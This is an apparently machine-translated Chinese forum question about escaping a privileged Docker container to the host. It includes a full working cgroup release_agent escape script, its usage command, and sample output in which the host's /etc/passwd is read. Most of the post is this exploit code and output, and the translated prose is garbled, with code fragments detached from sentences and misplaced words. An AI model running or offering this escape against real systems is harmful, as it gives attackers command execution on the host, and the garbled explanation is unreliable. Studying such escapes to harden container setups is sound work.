我一直在尝试 Docker 的一些选项docker run ...
,例如--privileged
,如何可能被滥用于容器到主机的转义。
以下脚本滥用了Yieldcgroup_escape.sh
的事实,它允许容器修改 cgroup 并使用cgroup 功能在主机上执行命令(请参阅--privileged
cap_sys_admin
release_agent
用法)。
这问题当在 inside 调用时,不会cat /o
显示任何输出,因为在脚本存在之前,cgroup_escape.sh
文件大小为0 字节(不会修复结果)。脚本存在后,成功显示 的内容。/o
sleep 10
cat /o
/o
Docker 容器的根文件系统的类型为overlay
:
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/O2KKX7BVYQPVTDYSEHBQGQFRHH:/var/lib/docker/overlay2/l/RGMSFCJWYRAJ3ZUF43IBFJ7UPZ,upperdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/diff,workdir=/var/lib/docker/overlay2/9fd70400d50e1cdec022582ce7d0ebdc14db0f31385aa7317e2008770f94b8cf/work)
有没有办法让文件更改/o
在shell脚本执行时生效?
注意:此问题是否是由于文件系统具有类型所致overlay
?
cgroup_escape.sh:
#!/usr/bin/env bash
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
touch /o
echo $t/c > $d/release_agent
echo -e "#!/bin/sh\n$1 > $t/o" > /c
chmod +x /c
echo 0 > $d/w/cgroup.procs
sleep 1
cat /o
用法:
docker run --privileged -ti --rm --mount type=bind,src=$(pwd),dst=/host,readonly debian:latest
root@bfbd3ddb2f2b:/# /host/cgroup_escape.sh "cat /etc/passwd"
root@bfbd3ddb2f2b:/# cat /o
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...